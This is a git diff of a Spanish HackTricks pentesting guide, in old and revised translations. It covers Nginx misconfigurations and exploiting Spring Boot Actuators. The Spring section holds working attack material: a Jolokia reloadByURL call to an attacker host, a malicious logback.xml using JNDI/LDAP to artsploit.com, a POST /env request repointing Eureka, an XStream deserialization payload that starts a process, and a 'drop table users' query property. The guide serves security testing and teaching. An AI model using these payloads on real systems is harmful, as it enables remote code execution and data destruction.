||||
return [b"Secret info, should not be visible!"]
|
||||
return [b"Secret info, should not be visible!"]
|
||||
```
|
||||
Y con las siguientes directivas en Nginx:
|
||||
```
|
||||
http {
|
||||
error_page 500 /html/error.html;
|
||||
proxy_intercept_errors on;
|
||||
proxy_hide_header Secret-Header;
|
||||
error_page 500 /html/error.html;
|
||||
proxy_intercept_errors on;
|
||||
proxy_hide_header Secret-Header;
|
||||
}
|
||||
```
|
||||
[proxy\_intercept\_errors](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors) servirá una respuesta personalizada si el backend tiene un estado de respuesta mayor a 300. En nuestra aplicación uWSGI anterior, enviaremos un `Error 500` que será interceptado por Nginx.
|
||||
|
|
@ -145,21 +187,21 @@ Secret info, should not be visible!
|
|||
```
|
||||
## merge\_slashes establecido en off
|
||||
|
||||
La directiva [merge\_slashes](http://nginx.org/en/docs/http/ngx\_http\_core\_module.html#merge\_slashes) está establecida en "on" por defecto, lo que es un mecanismo para comprimir dos o más barras diagonales en una sola, por lo que `///` se convertiría en `/`. Si Nginx se utiliza como proxy inverso y la aplicación que se está proxyando es vulnerable a la inclusión de archivos locales, el uso de barras diagonales adicionales en la solicitud podría dejar espacio para explotarlo. Esto se describe en detalle por [Danny Robinson y Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
|
||||
La directiva [merge\_slashes](http://nginx.org/en/docs/http/ngx\_http\_core\_module.html#merge\_slashes) está establecida en "on" de forma predeterminada, lo cual es un mecanismo para comprimir dos o más barras diagonales en una sola, por lo que `///` se convertiría en `/`. Si Nginx se utiliza como un proxy inverso y la aplicación que se está proxyando es vulnerable a la inclusión local de archivos, el uso de barras diagonales adicionales en la solicitud podría dejar espacio para explotarla. Esto se describe en detalle por [Danny Robinson y Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
|
||||
|
||||
Encontramos 33 archivos de configuración de Nginx con `merge_slashes` establecido en "off".
|
||||
|
||||
## No se especifica el valor por defecto para la directiva map
|
||||
## default no está especificado para la directiva map
|
||||
|
||||
Parece ser un caso común cuando **`map` se utiliza para algún tipo de control de autorización**. Un ejemplo simplificado podría ser:
|
||||
```
|
||||
http {
|
||||
...
|
||||
map $uri $mappocallow {
|
||||
/map-poc/private 0;
|
||||
/map-poc/secret 0;
|
||||
/map-poc/public 1;
|
||||
}
|
||||
map $uri $mappocallow {
|
||||
/map-poc/private 0;
|
||||
/map-poc/secret 0;
|
||||
/map-poc/public 1;
|
||||
}
|
||||
...
|
||||
}
|
||||
```
|
||||
|
|
@ -167,23 +209,24 @@ http {
|
|||
```
|
||||
server {
|
||||
...
|
||||
location /map-poc {
|
||||
if ($mappocallow = 0) {return 403;}
|
||||
return 200 "Hello. It is private area: $mappocallow";
|
||||
}
|
||||
location /map-poc {
|
||||
if ($mappocallow = 0) {return 403;}
|
||||
return 200 "Hello. It is private area: $mappocallow";
|
||||
}
|
||||
...
|
||||
}
|
||||
```
|
||||
[Según el manual](https://nginx.org/en/docs/http/ngx\_http\_map\_module.html):
|
||||
|
||||
> valor por defecto\
|
||||
> establece el valor resultante si el valor de origen no coincide con ninguna de las variantes especificadas. Cuando no se especifica un valor por defecto, el valor resultante por defecto será una cadena vacía.
|
||||
> establece el valor resultante si el valor de origen no coincide con ninguno de los variantes especificados. Cuando no se especifica un valor por defecto,\
|
||||
> el valor resultante por defecto será una cadena vacía.
|
||||
|
||||
Es fácil olvidar el valor `default`. Por lo tanto, **un delincuente puede evitar este "control de autorización"** simplemente accediendo a un **caso inexistente dentro de `/map-poc`** como `https://targethost.com/map-poc/another-private-area`.
|
||||
Es fácil olvidarse del valor `default`. Por lo tanto, **un malhechor puede evadir este "control de autorización"** simplemente accediendo a un **caso inexistente dentro de `/map-poc`** como `https://targethost.com/map-poc/another-private-area`.
|
||||
|
||||
## Suplantación de DNS en Nginx
|
||||
|
||||
Según este post: [http://blog.zorinaq.com/nginx-resol**ver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/) **podría ser posible falsificar registros DNS** a Nginx si se **conoce el servidor DNS que está usando Nginx** (y se puede interceptar de alguna manera la comunicación, por lo que esto **no es válido si se usa 127.0.0.1**) y el **dominio que está solicitando**.
|
||||
Según esta publicación: [http://blog.zorinaq.com/nginx-resol**ver-vulns/**](http://blog.zorinaq.com/nginx-resolver-vulns/) **Podría ser posible suplantar registros DNS** en Nginx si **conoces el servidor DNS que Nginx** está utilizando (y puedes interceptar de alguna manera la comunicación, por lo que esto **no es válido si se utiliza 127.0.0.1**) y el **dominio que está solicitando**.
|
||||
|
||||
Nginx puede especificar un servidor DNS para usar con:
|
||||
```
|
||||
|
|
@ -191,14 +234,14 @@ resolver 8.8.8.8;
|
|||
```
|
||||
## Directivas `proxy_pass` e `internal`
|
||||
|
||||
La directiva **`proxy_pass`** se puede utilizar para **redirigir internamente solicitudes a otros servidores** internos o externos.\
|
||||
La directiva **`proxy_pass`** se puede utilizar para **redirigir internamente las solicitudes a otros servidores** internos o externos.\
|
||||
La directiva **`internal`** se utiliza para dejar claro a Nginx que la **ubicación solo se puede acceder internamente**.
|
||||
|
||||
El uso de estas directivas **no es una vulnerabilidad, pero se debe verificar cómo están configuradas**.
|
||||
|
||||
## proxy\_set\_header Upgrade & Connection
|
||||
|
||||
Si el servidor nginx está configurado para pasar los encabezados Upgrade y Connection, se podría realizar un [**ataque de H2C Smuggling**](../../pentesting-web/h2c-smuggling.md) para acceder a puntos finales protegidos / internos.
|
||||
Si el servidor nginx está configurado para pasar los encabezados Upgrade y Connection, se podría realizar un [**ataque de h2c Smuggling**](../../pentesting-web/h2c-smuggling.md) para acceder a puntos finales protegidos/internos.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Esta vulnerabilidad permitiría a un atacante **establecer una conexión directa con el punto final `proxy_pass`** (`http://backend:9999` en este caso) cuyo contenido no será verificado por nginx.
|
||||
|
|
@ -207,30 +250,30 @@ Esta vulnerabilidad permitiría a un atacante **establecer una conexión directa
|
|||
Ejemplo de configuración vulnerable para robar `/flag` de [aquí](https://bishopfox.com/blog/h2c-smuggling-request):
|
||||
```
|
||||
server {
|
||||
listen 443 ssl;
|
||||
server_name localhost;
|
||||
listen 443 ssl;
|
||||
server_name localhost;
|
||||
|
||||
ssl_certificate /usr/local/nginx/conf/cert.pem;
|
||||
ssl_certificate_key /usr/local/nginx/conf/privkey.pem;
|
||||
ssl_certificate /usr/local/nginx/conf/cert.pem;
|
||||
ssl_certificate_key /usr/local/nginx/conf/privkey.pem;
|
||||
|
||||
location / {
|
||||
proxy_pass http://backend:9999;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection $http_connection;
|
||||
}
|
||||
location / {
|
||||
proxy_pass http://backend:9999;
|
||||
proxy_http_version 1.1;
|
||||
proxy_set_header Upgrade $http_upgrade;
|
||||
proxy_set_header Connection $http_connection;
|
||||
}
|
||||
|
||||
location /flag {
|
||||
deny all;
|
||||
}
|
||||
location /flag {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que incluso si `proxy_pass` apuntaba a una ruta específica como `http://backend:9999/socket.io`, la conexión se establecerá con `http://backend:9999`, por lo que puedes contactar cualquier otra ruta dentro de ese punto final interno. Por lo tanto, no importa si se especifica una ruta en la URL de `proxy_pass`.
|
||||
Ten en cuenta que incluso si `proxy_pass` apunta a una **ruta** específica como `http://backend:9999/socket.io`, la conexión se establecerá con `http://backend:9999`, por lo que puedes **contactar cualquier otra ruta dentro de ese punto final interno. Por lo tanto, no importa si se especifica una ruta en la URL de proxy\_pass.**
|
||||
{% endhint %}
|
||||
|
||||
## Pruébalo tú mismo
|
||||
|
||||
Detectify ha creado un repositorio de GitHub donde puedes usar Docker para configurar tu propio servidor de prueba vulnerable de Nginx con algunas de las configuraciones incorrectas discutidas en este artículo y tratar de encontrarlas tú mismo.
|
||||
Detectify ha creado un repositorio en GitHub donde puedes usar Docker para configurar tu propio servidor de prueba vulnerable de Nginx con algunas de las configuraciones incorrectas discutidas en este artículo y tratar de encontrarlas tú mismo.
|
||||
|
||||
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
|
||||
|
||||
|
|
@ -242,7 +285,7 @@ Gixy es una herramienta para analizar la configuración de Nginx. El objetivo pr
|
|||
|
||||
### [Nginxpwner](https://github.com/stark0de/nginxpwner)
|
||||
|
||||
Nginxpwner es una herramienta simple para buscar configuraciones incorrectas y vulnerabilidades comunes de Nginx.
|
||||
Nginxpwner es una herramienta sencilla para buscar configuraciones incorrectas comunes y vulnerabilidades de Nginx.
|
||||
|
||||
## Referencias
|
||||
|
||||
|
|
@ -262,9 +305,9 @@ Nginxpwner es una herramienta simple para buscar configuraciones incorrectas y v
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -7,12 +7,12 @@
|
|||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
## **Bypass de autenticación de Spring**
|
||||
## **Bypass de Autenticación de Spring**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (5) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
|
@ -20,33 +20,33 @@
|
|||
|
||||
## Explotando Spring Boot Actuators
|
||||
|
||||
**Copiado de** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
|
||||
**copiado de** [**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
|
||||
|
||||
El framework Spring Boot incluye una serie de características llamadas actuators para ayudarte a monitorear y administrar tu aplicación web cuando la llevas a producción. Diseñados para ser utilizados para auditoría, salud y recolección de métricas, también pueden abrir una puerta oculta a tu servidor cuando están mal configurados.
|
||||
El Framework Spring Boot incluye una serie de características llamadas actuators para ayudarte a monitorear y administrar tu aplicación web cuando la implementas en producción. Diseñados para ser utilizados para auditoría, salud y recopilación de métricas, también pueden abrir una puerta oculta a tu servidor cuando están mal configurados.
|
||||
|
||||
Cuando una aplicación Spring Boot está en ejecución, registra automáticamente varios puntos finales (como '/health', '/trace', '/beans', '/env', etc.) en el proceso de enrutamiento. Para Spring Boot 1 - 1.4, son accesibles sin autenticación, lo que causa problemas significativos de seguridad. A partir de la versión de Spring 1.5, todos los puntos finales, excepto '/health' y '/info', se consideran sensibles y están asegurados por defecto, pero esta seguridad a menudo es desactivada por los desarrolladores de aplicaciones.
|
||||
Cuando una aplicación de Spring Boot está en ejecución, automáticamente registra varios endpoints (como '/health', '/trace', '/beans', '/env', etc.) en el proceso de enrutamiento. Para Spring Boot 1 - 1.4, son accesibles sin autenticación, lo que causa problemas significativos de seguridad. A partir de la versión de Spring 1.5, todos los endpoints excepto '/health' y '/info' se consideran sensibles y están asegurados por defecto, pero esta seguridad a menudo es deshabilitada por los desarrolladores de la aplicación.
|
||||
|
||||
Los siguientes puntos finales de Actuator podrían tener implicaciones de seguridad que podrían llevar a posibles vulnerabilidades:
|
||||
Los siguientes endpoints de Actuator podrían tener implicaciones de seguridad que conducen a posibles vulnerabilidades:
|
||||
|
||||
* /dump - muestra un volcado de hilos (incluyendo una traza de pila)
|
||||
* /trace - muestra los últimos mensajes HTTP (que podrían incluir identificadores de sesión)
|
||||
* /logfile - muestra el contenido del archivo de registro
|
||||
* /shutdown - apaga la aplicación
|
||||
* /mappings - muestra todos los mapeos del controlador MVC
|
||||
* /mappings - muestra todos los mapeos de controladores MVC
|
||||
* /env - proporciona acceso al entorno de configuración
|
||||
* /actuator/env
|
||||
* /restart - reinicia la aplicación
|
||||
* /heapdump - construye y devuelve un volcado de montón desde el JVM utilizado por nuestra aplicación
|
||||
* /heapdump - construye y devuelve un volcado de montón desde la JVM utilizada por nuestra aplicación
|
||||
|
||||
Para Spring 1x, se registran bajo la URL raíz, y en 2x se movieron a la ruta base "/actuator/".
|
||||
|
||||
**Explotación:**
|
||||
|
||||
La mayoría de los actuators admiten solo solicitudes GET y simplemente revelan datos de configuración sensibles, pero varios de ellos son particularmente interesantes para los cazadores de shell:
|
||||
La mayoría de los actuators solo admiten solicitudes GET y simplemente revelan datos de configuración sensibles, pero algunos de ellos son particularmente interesantes para los cazadores de shells:
|
||||
|
||||
**1. Ejecución remota de código a través de '/jolokia'**
|
||||
**1. Ejecución de código remoto a través de '/jolokia'**
|
||||
|
||||
Si la biblioteca Jolokia está en la ruta de clases de la aplicación objetivo, Spring Boot la expone automáticamente bajo el punto final del actuador '/jolokia'. Jolokia permite el acceso HTTP a todos los MBeans registrados y está diseñado para realizar las mismas operaciones que se pueden realizar con JMX. Es posible listar todas las acciones de MBeans disponibles utilizando la URL:
|
||||
Si la biblioteca Jolokia está en el classpath de la aplicación objetivo, Spring Boot la expone automáticamente bajo el endpoint '/jolokia' del actuator. Jolokia permite el acceso HTTP a todos los MBeans registrados y está diseñado para realizar las mismas operaciones que se pueden realizar con JMX. Es posible listar todas las acciones de MBeans disponibles utilizando la URL:
|
||||
|
||||
[**http://127.0.0.1:8090/jolokia/list**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
|
||||
|
||||
|
|
@ -54,179 +54,199 @@ Nuevamente, la mayoría de las acciones de MBeans solo revelan algunos datos del
|
|||
|
||||
|
||||
|
||||
La acción '**reloadByURL**', proporcionada por la biblioteca Logback, nos permite volver a cargar la configuración de registro desde una URL externa. Podría ser activado simplemente navegando a: [**http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
|
||||
La acción '**reloadByURL**', proporcionada por la biblioteca Logback, nos permite recargar la configuración de registro desde una URL externa. Se puede activar simplemente navegando a: [**http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml**](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators)
|
||||
|
||||
Entonces, ¿por qué deberíamos preocuparnos por la configuración de registro? Principalmente por dos cosas:
|
||||
|
||||
1. La configuración tiene un formato XML, y por supuesto, Logback lo analiza con Entidades Externas habilitadas, por lo tanto, es vulnerable a XXE ciego.
|
||||
2. La configuración de Logback tiene la característica ['Obtención de variables de JNDI'](https://logback.qos.ch/manual/configuration.html#insertFromJNDI). En el archivo XML, podemos incluir una etiqueta como '**\<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />**' y el atributo de nombre se pasará al método DirContext.lookup(). Si podemos suministrar un nombre arbitrario en la función .lookup(), ni siquiera necesitamos XXE o HeapDump porque nos da una **Ejecución Remota de Código** completa.
|
||||
1. La configuración tiene un formato XML y, por supuesto, Logback lo analiza con Entidades Externas habilitadas, por lo que es vulnerable a XXE ciego.
|
||||
2. La configuración de Logback tiene la característica ['Obtención de variables de JNDI'](https://logback.qos.ch/manual/configuration.html#insertFromJNDI). En el archivo XML, podemos incluir una etiqueta como '**\<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />**' y el atributo name se pasará al método DirContext.lookup(). Si podemos proporcionar un nombre arbitrario en la función .lookup(), ni siquiera necesitamos XXE o HeapDump porque nos da una **Ejecución de Código Remoto** completa.
|
||||
|
||||
**Cómo funciona:**
|
||||
|
||||
1. Un atacante solicita la URL mencionada anteriormente para ejecutar la función 'reloadByURL', proporcionada por la clase 'qos.logback.classic.jmx.JMXConfigurator'.
|
||||
1\. Un atacante solicita la URL mencionada anteriormente para ejecutar la función 'reloadByURL', proporcionada por la clase 'qos.logback.classic.jmx.JMXConfigurator'.
|
||||
|
||||
2. La función 'reloadByURL' descarga una nueva configuración desde [http://artsploit.com/logback.xml](http://artsploit.com/logback.xml) y la analiza como una configuración de Logback. Esta configuración maliciosa debería tener el siguiente contenido:
|
||||
2\. La función 'reloadByURL' descarga una nueva configuración desde [http://artsploit.com/logback.xml](http://artsploit.com/logback.xml) y la analiza como una configuración de Logback. Esta configuración maliciosa debería tener el siguiente contenido:
|
||||
```
|
||||
<configuration>
|
||||
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
|
||||
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
|
||||
</configuration>
|
||||
```
|
||||
3\. Cuando este archivo es analizado en el servidor vulnerable, crea una conexión al servidor LDAP controlado por el atacante especificado en el valor del parámetro "env-entry-name", lo que lleva a la resolución de JNDI. El servidor LDAP malicioso puede devolver un objeto con tipo 'Referencia' para desencadenar una **ejecución del bytecode suministrado** en la aplicación objetivo. Los ataques de JNDI están bien explicados en este [documento de investigación de MicroFocus](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf). La [nueva técnica de explotación de JNDI](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) (descrita anteriormente en nuestro blog) también funciona aquí, ya que Tomcat es el servidor de aplicaciones predeterminado en el Framework Spring Boot.
|
||||
3\. Cuando este archivo se analiza en el servidor vulnerable, crea una conexión al servidor LDAP controlado por el atacante especificado en el valor del parámetro "env-entry-name", lo que lleva a la resolución de JNDI. El servidor LDAP malicioso puede devolver un objeto con tipo 'Referencia' para desencadenar una **ejecución del bytecode suministrado** en la aplicación objetivo. Los ataques de JNDI se explican detalladamente en este [documento de investigación de MicroFocus](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf). La [nueva técnica de explotación de JNDI](https://www.veracode.com/blog/research/exploiting-jndi-injections-java) (descrita anteriormente en nuestro blog) también funciona aquí, ya que Tomcat es el servidor de aplicaciones predeterminado en el Framework Spring Boot.
|
||||
|
||||
**2. Modificación de la configuración a través de '/env'**
|
||||
|
||||
Si las bibliotecas de Spring Cloud están en el classpath, el endpoint **'/env'** permite modificar las propiedades ambientales de Spring. Todos los beans anotados como '**@ConfigurationProperties**' pueden ser modificados y reasignados. Muchas, pero no todas, las propiedades que podemos controlar se enumeran en el endpoint '/configprops' del actuador. En realidad, hay toneladas de ellas, pero no está absolutamente claro qué necesitamos modificar para lograr algo. Después de pasar un par de días jugando con ellas, encontramos esto:
|
||||
Si las bibliotecas de Spring Cloud están en el classpath, el punto final **'/env'** te permite modificar las propiedades ambientales de Spring. Todos los beans anotados como '**@ConfigurationProperties**' pueden ser modificados y reasignados. Muchas, pero no todas, las propiedades que podemos controlar se enumeran en el punto final '/configprops' del actuador. En realidad, hay toneladas de ellas, pero no está del todo claro qué necesitamos modificar para lograr algo. Después de pasar un par de días jugando con ellas, encontramos esto:
|
||||
```
|
||||
POST /env HTTP/1.1
|
||||
Host: 127.0.0.1:8090
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 65
|
||||
|
||||
|
||||
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
|
||||
```
|
||||
Esta propiedad modifica la serviceURL de Eureka a un valor arbitrario. El servidor Eureka se utiliza normalmente como servidor de descubrimiento, y casi todas las aplicaciones de Spring Cloud se registran en él y le envían actualizaciones de estado. Si tienes suerte de tener Eureka-Client <1.8.7 en el classpath objetivo (normalmente se incluye en Spring Cloud Netflix), puedes explotar la vulnerabilidad de deserialización de XStream en él. Todo lo que necesitas hacer es establecer la propiedad 'eureka.client.serviceUrl.defaultZone' en la URL de tu servidor ([http://artsploit.com/n/xstream](http://artsploit.com/n/xstream)) a través de '/env' y luego llamar al endpoint '/refresh'. Después de eso, tu servidor debería servir el payload de XStream con el siguiente contenido:
|
||||
Esta propiedad modifica la serviceURL de Eureka a un valor arbitrario. El servidor Eureka se utiliza normalmente como un servidor de descubrimiento, y casi todas las aplicaciones de Spring Cloud se registran en él y le envían actualizaciones de estado. Si tienes suerte de tener Eureka-Client <1.8.7 en el classpath objetivo (normalmente se incluye en Spring Cloud Netflix), puedes aprovechar la vulnerabilidad de deserialización de XStream en él. Todo lo que necesitas hacer es establecer la propiedad 'eureka.client.serviceUrl.defaultZone' a la URL de tu servidor ([http://artsploit.com/n/xstream](http://artsploit.com/n/xstream)) a través de '/env' y luego llamar al punto final '/refresh'. Después de eso, tu servidor debería servir la carga útil de XStream con el siguiente contenido:
|
||||
```markup
|
||||
<linked-hash-set>
|
||||
<jdk.nashorn.internal.objects.NativeString>
|
||||
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
|
||||
<dataHandler>
|
||||
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
|
||||
<is class="javax.crypto.CipherInputStream">
|
||||
<cipher class="javax.crypto.NullCipher">
|
||||
<serviceIterator class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="java.util.Collections$EmptyIterator"/>
|
||||
<next class="java.lang.ProcessBuilder">
|
||||
<command>
|
||||
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
|
||||
</command>
|
||||
<redirectErrorStream>false</redirectErrorStream>
|
||||
</next>
|
||||
</iter>
|
||||
<filter class="javax.imageio.ImageIO$ContainsFilter">
|
||||
<method>
|
||||
<class>java.lang.ProcessBuilder</class>
|
||||
<name>start</name>
|
||||
<parameter-types/>
|
||||
</method>
|
||||
<name>foo</name>
|
||||
</filter>
|
||||
<next class="string">foo</next>
|
||||
</serviceIterator>
|
||||
<lock/>
|
||||
</cipher>
|
||||
<input class="java.lang.ProcessBuilder$NullInputStream"/>
|
||||
<ibuffer></ibuffer>
|
||||
</is>
|
||||
</dataSource>
|
||||
</dataHandler>
|
||||
</value>
|
||||
</jdk.nashorn.internal.objects.NativeString>
|
||||
<jdk.nashorn.internal.objects.NativeString>
|
||||
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
|
||||
<dataHandler>
|
||||
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
|
||||
<is class="javax.crypto.CipherInputStream">
|
||||
<cipher class="javax.crypto.NullCipher">
|
||||
<serviceIterator class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="javax.imageio.spi.FilterIterator">
|
||||
<iter class="java.util.Collections$EmptyIterator"/>
|
||||
<next class="java.lang.ProcessBuilder">
|
||||
<command>
|
||||
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
|
||||
</command>
|
||||
<redirectErrorStream>false</redirectErrorStream>
|
||||
</next>
|
||||
</iter>
|
||||
<filter class="javax.imageio.ImageIO$ContainsFilter">
|
||||
<method>
|
||||
<class>java.lang.ProcessBuilder</class>
|
||||
<name>start</name>
|
||||
<parameter-types/>
|
||||
</method>
|
||||
<name>foo</name>
|
||||
</filter>
|
||||
<next class="string">foo</next>
|
||||
</serviceIterator>
|
||||
<lock/>
|
||||
</cipher>
|
||||
<input class="java.lang.ProcessBuilder$NullInputStream"/>
|
||||
<ibuffer></ibuffer>
|
||||
</is>
|
||||
</dataSource>
|
||||
</dataHandler>
|
||||
</value>
|
||||
</jdk.nashorn.internal.objects.NativeString>
|
||||
</linked-hash-set>
|
||||
```
|
||||
Este payload de XStream es una versión ligeramente modificada de la cadena de gadgets ImageIO solo para JDK de la investigación de [Marshalsec](https://github.com/mbechler/marshalsec). La única diferencia aquí es el uso de **LinkedHashSet** para activar el método 'jdk.nashorn.internal.objects.NativeString.hashCode()'. El payload original aprovecha java.lang.Map para lograr el mismo comportamiento, pero la configuración de XStream de Eureka tiene un [convertidor personalizado para mapas](https://github.com/Netflix/eureka/blob/master/eureka-client/src/main/java/com/netflix/discovery/converters/XmlXStream.java#L58) que lo hace inutilizable. El payload anterior no usa mapas en absoluto y se puede usar para lograr la ejecución remota de código sin restricciones adicionales.
|
||||
Este payload de XStream es una versión ligeramente modificada de la cadena de gadgets ImageIO solo para JDK de la investigación de [Marshalsec](https://github.com/mbechler/marshalsec). La única diferencia aquí es el uso de **LinkedHashSet** para activar el método 'jdk.nashorn.internal.objects.NativeString.hashCode()'. El payload original utiliza java.lang.Map para lograr el mismo comportamiento, pero la configuración de XStream de Eureka tiene un [convertidor personalizado para mapas](https://github.com/Netflix/eureka/blob/master/eureka-client/src/main/java/com/netflix/discovery/converters/XmlXStream.java#L58) que lo hace inutilizable. El payload anterior no utiliza mapas en absoluto y se puede utilizar para lograr la ejecución remota de código sin restricciones adicionales.
|
||||
|
||||
Usando Spring Actuators, en realidad puedes explotar esta vulnerabilidad incluso si no tienes acceso a un servidor Eureka interno; solo necesitas un punto final "/env" disponible.
|
||||
|
||||
**Otras configuraciones útiles:**
|
||||
|
||||
**spring.datasource.tomcat.validationQuery=drop+table+users** - te permite especificar cualquier consulta SQL, y se ejecutará automáticamente en la base de datos actual. Podría ser cualquier declaración, incluyendo insertar, actualizar o eliminar.
|
||||
**spring.datasource.tomcat.validationQuery=drop+table+users** - te permite especificar cualquier consulta SQL y se ejecutará automáticamente en la base de datos actual. Puede ser cualquier declaración, incluyendo insertar, actualizar o eliminar.
|
||||
|
||||
|
||||
|
||||
**spring.datasource.tomcat.url**=jdbc:hsqldb:[https://localhost:3002/xdb](https://www.veracode.com/blog/research/exploiting-spring-boot-actuators) - te permite modificar la cadena de conexión JDBC actual.
|
||||
|
||||
La última parece genial, pero el problema es cuando la aplicación que ejecuta la conexión de la base de datos ya está establecida, simplemente actualizar la cadena JDBC no tiene ningún efecto. Afortunadamente, hay otra propiedad que puede ayudarnos en este caso:
|
||||
El último se ve genial, pero el problema es cuando la aplicación que ejecuta la conexión de la base de datos ya está establecida, simplemente actualizar la cadena JDBC no tiene ningún efecto. Afortunadamente, hay otra propiedad que puede ayudarnos en este caso:
|
||||
|
||||
**spring.datasource.tomcat.max-active**=777
|
||||
|
||||
